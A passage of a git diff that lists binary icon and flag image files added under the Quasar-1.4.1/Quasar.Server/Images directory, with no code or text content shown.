/dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/zm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/zw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/zw.png new file mode 100755 index 0000000..53c9725 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/zw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.ico b/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.ico new file mode 100755 index 0000000..0ef75c8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.ico differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.png b/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.png new file mode 100755 index 0000000..5af6fcf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/accept.png b/Quasar-1.4.1/Quasar.Server/Images/accept.png new file mode 100755 index 0000000..89c8129 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/accept.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/actions.png b/Quasar-1.4.1/Quasar.Server/Images/actions.png new file mode 100755 index 0000000..d7da501 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/actions.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/add.png b/Quasar-1.4.1/Quasar.Server/Images/add.png new file mode 100755 index 0000000..6332fef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/application.png b/Quasar-1.4.1/Quasar.Server/Images/application.png new file mode 100755 index 0000000..807b862 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/application.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/application_add.png b/Quasar-1.4.1/Quasar.Server/Images/application_add.png new file mode 100755 index 0000000..2e94507 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/application_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/application_cascade.png b/Quasar-1.4.1/Quasar.Server/Images/application_cascade.png new file mode 100755 index 0000000..da5c622 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/application_cascade.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/application_delete.png b/Quasar-1.4.1/Quasar.Server/Images/application_delete.png new file mode 100755 index 0000000..0a335ac Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/application_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/application_edit.png b/Quasar-1.4.1/Quasar.Server/Images/application_edit.png new file mode 100755 index 0000000..fb2efb8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/application_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/application_go.png b/Quasar-1.4.1/Quasar.Server/Images/application_go.png new file mode 100755 index 0000000..5cc2b0d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/application_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/archive.png b/Quasar-1.4.1/Quasar.Server/Images/archive.png new file mode 100755 index 0000000..f0756cd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/archive.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/arrow_down.png b/Quasar-1.4.1/Quasar.Server/Images/arrow_down.png new file mode 100755 index 0000000..2c4e279 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/arrow_down.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/arrow_redo.png b/Quasar-1.4.1/Quasar.Server/Images/arrow_redo.png new file mode 100755 index 0000000..fdc394c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/arrow_redo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/arrow_refresh.png b/Quasar-1.4.1/Quasar.Server/Images/arrow_refresh.png new file mode 100755 index 0000000..0de2656 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/arrow_refresh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/arrow_undo.png b/Quasar-1.4.1/Quasar.Server/Images/arrow_undo.png new file mode 100755 index 0000000..6972c5e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/arrow_undo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/arrow_up.png b/Quasar-1.4.1/Quasar.Server/Images/arrow_up.png new file mode 100755 index 0000000..1ebb193 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/arrow_up.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/back.png b/Quasar-1.4.1/Quasar.Server/Images/back.png new file mode 100755 index 0000000..d9c50c4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/back.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/basket.png b/Quasar-1.4.1/Quasar.Server/Images/basket.png new file mode 100755 index 0000000..b0686d7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/basket.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/bell.png b/Quasar-1.4.1/Quasar.Server/Images/bell.png new file mode 100755 index 0000000..6e0015d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/bell.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/book.png b/Quasar-1.4.1/Quasar.Server/Images/book.png new file mode 100755 index 0000000..b0f4dd7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/book.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/book_open.png b/Quasar-1.4.1/Quasar.Server/Images/book_open.png new file mode 100755 index 0000000..7d863f9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/book_open.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/box.png b/Quasar-1.4.1/Quasar.Server/Images/box.png new file mode 100755 index 0000000..8443c23 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/box.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/brick.png b/Quasar-1.4.1/Quasar.Server/Images/brick.png new file mode 100755 index 0000000..97a152c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/brick.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/bricks.png b/Quasar-1.4.1/Quasar.Server/Images/bricks.png new file mode 100755 index 0000000..0905f93 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/bricks.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/briefcase.png b/Quasar-1.4.1/Quasar.Server/Images/briefcase.png new file mode 100755 index 0000000..05c5649 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/briefcase.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/broom.png b/Quasar-1.4.1/Quasar.Server/Images/broom.png new file mode 100755 index 0000000..2c6152e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/broom.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/bug.png b/Quasar-1.4.1/Quasar.Server/Images/bug.png new file mode 100755 index 0000000..2d5fb90 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/bug.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/building.png b/Quasar-1.4.1/Quasar.Server/Images/building.png new file mode 100755 index 0000000..11a017c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/building.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/calendar.png b/Quasar-1.4.1/Quasar.Server/Images/calendar.png new file mode 100755 index 0000000..6589138 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/calendar.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/camera.png b/Quasar-1.4.1/Quasar.Server/Images/camera.png new file mode 100755 index 0000000..8536d1a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/camera.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/cancel.png b/Quasar-1.4.1/Quasar.Server/Images/cancel.png new file mode 100755 index 0000000..c149c2b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/cancel.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/car.png b/Quasar-1.4.1/Quasar.Server/Images/car.png new file mode 100755 index 0000000..4f3a770 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/car.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/cart.png b/Quasar-1.4.1/Quasar.Server/Images/cart.png new file mode 100755 index 0000000..4f78fb1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/cart.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/cd.png b/Quasar-1.4.1/Quasar.Server/Images/cd.png new file mode 100755 index 0000000..ef43223 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/cd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/chart_bar.png b/Quasar-1.4.1/Quasar.Server/Images/chart_bar.png new file mode 100755 index 0000000..9051fbc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/chart_bar.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/chart_line.png b/Quasar-1.4.1/Quasar.Server/Images/chart_line.png new file mode 100755 index 0000000..85020f3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/chart_line.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/chart_pie.png b/Quasar-1.4.1/Quasar.Server/Images/chart_pie.png new file mode 100755 index 0000000..fe00fa0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/chart_pie.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/clock.png b/Quasar-1.4.1/Quasar.Server/Images/clock.png new file mode 100755 index 0000000..e2672c2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/clock.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/cog.png b/Quasar-1.4.1/Quasar.Server/Images/cog.png new file mode 100755 index 0000000..67de2c6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/cog.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/coins.png b/Quasar-1.4.1/Quasar.Server/Images/coins.png new file mode 100755 index 0000000..0ca9074 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/coins.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/comment.png b/Quasar-1.4.1/Quasar.Server/Images/comment.png new file mode 100755 index 0000000..7bc9233 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/comment.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/computer.png b/Quasar-1.4.1/Quasar.Server/Images/computer.png new file mode 100755 index 0000000..9bc37dc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/computer.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/connect.png b/Quasar-1.4.1/Quasar.Server/Images/connect.png new file mode 100755 index 0000000..024138e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/connect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/control_fastforward.png b/Quasar-1.4.1/Quasar.Server/Images/control_fastforward.png new file mode 100755 index 0000000..31f7fd3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/control_fastforward.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/control_pause.png b/Quasar-1.4.1/Quasar.Server/Images/control_pause.png new file mode 100755 index 0000000..2d9ce9c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/control_pause.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/control_play.png b/Quasar-1.4.1/Quasar.Server/Images/control_play.png new file mode 100755 index 0000000..0846555 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/control_play.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/control_rewind.png b/Quasar-1.4.1/Quasar.Server/Images/control_rewind.png new file mode 100755 index 0000000..c029447 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/control_rewind.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/control_stop.png b/Quasar-1.4.1/Quasar.Server/Images/control_stop.png new file mode 100755 index 0000000..c9b49f2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/control_stop.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/creditcards.png b/Quasar-1.4.1/Quasar.Server/Images/creditcards.png new file mode 100755 index 0000000..4eae583 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/creditcards.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/cross.png b/Quasar-1.4.1/Quasar.Server/Images/cross.png new file mode 100755 index 0000000..1514d51 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/cross.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/database.png b/Quasar-1.4.1/Quasar.Server/Images/database.png new file mode 100755 index 0000000..919cb77 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/database.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/database_go.png b/Quasar-1.4.1/Quasar.Server/Images/database_go.png new file mode 100755 index 0000000..61a8556 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/database_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/date.png b/Quasar-1.4.1/Quasar.Server/Images/date.png new file mode 100755 index 0000000..0d5fa0f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/date.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/delete.png b/Quasar-1.4.1/Quasar.Server/Images/delete.png new file mode 100755 index 0000000..08f2493 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/disconnect.png b/Quasar-1.4.1/Quasar.Server/Images/disconnect.png new file mode 100755 index 0000000..b335cb1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/disconnect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/disk.png b/Quasar-1.4.1/Quasar.Server/Images/disk.png new file mode 100755 index 0000000..99d532e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/disk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/disk_multiple.png b/Quasar-1.4.1/Quasar.Server/Images/disk_multiple.png new file mode 100755 index 0000000..fc5a52f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/disk_multiple.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/done.png b/Quasar-1.4.1/Quasar.Server/Images/done.png new file mode 100755 index 0000000..a9925a0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/done.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/drive_go.png b/Quasar-1.4.1/Quasar.Server/Images/drive_go.png new file mode 100755 index 0000000..fc53379 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/drive_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/dvd.png b/Quasar-1.4.1/Quasar.Server/Images/dvd.png new file mode 100755 index 0000000..9d94de5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/dvd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/email.png b/Quasar-1.4.1/Quasar.Server/Images/email.png new file mode 100755 index 0000000..7348aed Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/email.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/email_open.png b/Quasar-1.4.1/Quasar.Server/Images/email_open.png new file mode 100755 index 0000000..7b6f981 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/email_open.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/error.png b/Quasar-1.4.1/Quasar.Server/Images/error.png new file mode 100755 index 0000000..628cf2d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/error_add.png b/Quasar-1.4.1/Quasar.Server/Images/error_add.png new file mode 100755 index 0000000..4c97484 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/error_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/error_delete.png b/Quasar-1.4.1/Quasar.Server/Images/error_delete.png new file mode 100755 index 0000000..7f78bcc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/error_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/exclamation.png b/Quasar-1.4.1/Quasar.Server/Images/exclamation.png new file mode 100755 index 0000000..c37bd06 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/exclamation.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/eye.png b/Quasar-1.4.1/Quasar.Server/Images/eye.png new file mode 100755 index 0000000..564a1a9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/eye.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/file.png b/Quasar-1.4.1/Quasar.Server/Images/file.png new file mode 100755 index 0000000..d60cc39 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/file.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/film.png b/Quasar-1.4.1/Quasar.Server/Images/film.png new file mode 100755 index 0000000..b0ce7bb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/film.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/find.png b/Quasar-1.4.1/Quasar.Server/Images/find.png new file mode 100755 index 0000000..4f2a460 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/find.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/flag_red.png b/Quasar-1.4.1/Quasar.Server/Images/flag_red.png new file mode 100755 index 0000000..e8a602d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/flag_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/folder.png b/Quasar-1.4.1/Quasar.Server/Images/folder.png new file mode 100755 index 0000000..784e8fa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/folder.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/folder_go.png b/Quasar-1.4.1/Quasar.Server/Images/folder_go.png new file mode 100755 index 0000000..34a736f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/folder_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/group.png b/Quasar-1.4.1/Quasar.Server/Images/group.png new file mode 100755 index 0000000..7fb4e1f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/group.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/group_add.png b/Quasar-1.4.1/Quasar.Server/Images/group_add.png new file mode 100755 index 0000000..06c5350 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/group_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/help.png b/Quasar-1.4.1/Quasar.Server/Images/help.png new file mode 100755 index 0000000..5c87017 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/help.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/hourglass.png b/Quasar-1.4.1/Quasar.Server/Images/hourglass.png new file mode 100755 index 0000000..57b03ce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/hourglass.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/house.png b/Quasar-1.4.1/Quasar.Server/Images/house.png new file mode 100755 index 0000000..fed6221 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/house.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/image.png b/Quasar-1.4.1/Quasar.Server/Images/image.png new file mode 100755 index 0000000..fc3c393 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/image.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/image_add.png b/Quasar-1.4.1/Quasar.Server/Images/image_add.png new file mode 100755 index 0000000..fc5d613 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/image_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/image_delete.png b/Quasar-1.4.1/Quasar.Server/Images/image_delete.png new file mode 100755 index 0000000..c260e1d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/image_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/information.png b/Quasar-1.4.1/Quasar.Server/Images/information.png new file mode 100755 index 0000000..12cd1ae Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/information.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/key.png b/Quasar-1.4.1/Quasar.Server/Images/key.png new file mode 100755 index 0000000..3bfd163 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/key_go.png b/Quasar-1.4.1/Quasar.Server/Images/key_go.png new file mode 100755 index 0000000..30b0dc3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/key_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/keyboard.png b/Quasar-1.4.1/Quasar.Server/Images/keyboard.png new file mode 100755 index 0000000..898d402 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/keyboard.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/keyboard_add.png b/Quasar-1.4.1/Quasar.Server/Images/keyboard_add.png new file mode 100755 index 0000000..26938dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/keyboard_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/keyboard_delete.png b/Quasar-1.4.1/Quasar.Server/Images/keyboard_delete.png new file mode 100755 index 0000000..1786ed5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/keyboard_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/keyboard_magnify.png b/Quasar-1.4.1/Quasar.Server/Images/keyboard_magnify.png new file mode 100755 index 0000000..928fc17 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/keyboard_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/lightbulb.png b/Quasar-1.4.1/Quasar.Server/Images/lightbulb.png new file mode 100755 index 0000000..d22fde8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/lightbulb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/lightbulb_off.png b/Quasar-1.4.1/Quasar.Server/Images/lightbulb_off.png new file mode 100755 index 0000000..e95b8c5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/lightbulb_off.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/lightning.png b/Quasar-1.4.1/Quasar.Server/Images/lightning.png new file mode 100755 index 0000000..9680afd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/lock.png b/Quasar-1.4.1/Quasar.Server/Images/lock.png new file mode 100755 index 0000000..2ebc4f6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/lock.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/lock_open.png b/Quasar-1.4.1/Quasar.Server/Images/lock_open.png new file mode 100755 index 0000000..a471765 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/lock_open.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/magnifier.png b/Quasar-1.4.1/Quasar.Server/Images/magnifier.png new file mode 100755 index 0000000..cf3d97f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/magnifier.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/monitor.png b/Quasar-1.4.1/Quasar.Server/Images/monitor.png new file mode 100755 index 0000000..d040bd0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/monitor.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/monitoring.png b/Quasar-1.4.1/Quasar.Server/Images/monitoring.png new file mode 100755 index 0000000..110dc86 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/monitoring.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/mouse_add.png b/Quasar-1.4.1/Quasar.Server/Images/mouse_add.png new file mode 100755 index 0000000..65bcab5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/mouse_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/mouse_delete.png b/Quasar-1.4.1/Quasar.Server/Images/mouse_delete.png new file mode 100755 index 0000000..7286566 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/mouse_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/movie.png b/Quasar-1.4.1/Quasar.Server/Images/movie.png new file mode 100755 index 0000000..b4ad873 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/movie.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/music.png b/Quasar-1.4.1/Quasar.Server/Images/music.png new file mode 100755 index 0000000..1309253 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/music.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/new.png b/Quasar-1.4.1/Quasar.Server/Images/new.png new file mode 100755 index 0000000..6a9bf03 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/new.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/note.png b/Quasar-1.4.1/Quasar.Server/Images/note.png new file mode 100755 index 0000000..244e6ca Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/note.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/note_add.png b/Quasar-1.4.1/Quasar.Server/Images/note_add.png new file mode 100755 index 0000000..abdad91 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/note_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/note_delete.png b/Quasar-1.4.1/Quasar.Server/Images/note_delete.png new file mode 100755 index 0000000..8a1f0ff Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/note_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/package.png b/Quasar-1.4.1/Quasar.Server/Images/package.png new file mode 100755 index 0000000..da3c2a2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/package.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/package_add.png b/Quasar-1.4.1/Quasar.Server/Images/package_add.png new file mode 100755 index 0000000..9c8a9da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/package_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/package_delete.png b/Quasar-1.4.1/Quasar.Server/Images/package_delete.png new file mode 100755 index 0000000..86f7fbc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/package_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/package_go.png b/Quasar-1.4.1/Quasar.Server/Images/package_go.png new file mode 100755 index 0000000..aace63a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/package_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/page_copy.png b/Quasar-1.4.1/Quasar.Server/Images/page_copy.png new file mode 100755 index 0000000..195dc6d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/page_copy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/page_white_text.png b/Quasar-1.4.1/Quasar.Server/Images/page_white_text.png new file mode 100755 index 0000000..813f712 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/page_white_text.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/pdf.png b/Quasar-1.4.1/Quasar.Server/Images/pdf.png new file mode 100755 index 0000000..7a6dcb4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/pdf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/pencil.png b/Quasar-1.4.1/Quasar.Server/Images/pencil.png new file mode 100755 index 0000000..78142b6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/pencil.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/pencil_add.png b/Quasar-1.4.1/Quasar.Server/Images/pencil_add.png new file mode 100755 index 0000000..9814aef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/pencil_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/pencil_delete.png b/Quasar-1.4.1/Quasar.Server/Images/pencil_delete.png new file mode 100755 index 0000000..ac07932 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/pencil_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/phone.png b/Quasar-1.4.1/Quasar.Server/Images/phone.png new file mode 100755 index 0000000..c39f162 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/phone.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/picture.png b/Quasar-1.4.1/Quasar.Server/Images/picture.png new file mode 100755 index 0000000..4a158fe Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/picture.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/picture_add.png b/Quasar-1.4.1/Quasar.Server/Images/picture_add.png new file mode 100755 index 0000000..d6d3f85 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/picture_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/picture_delete.png b/Quasar-1.4.1/Quasar.Server/Images/picture_delete.png new file mode 100755 index 0000000..cca9f53 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/picture_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/printer.png b/Quasar-1.4.1/Quasar.Server/Images/printer.png new file mode 100755 index 0000000..a350d18 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/printer.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/printer_add.png 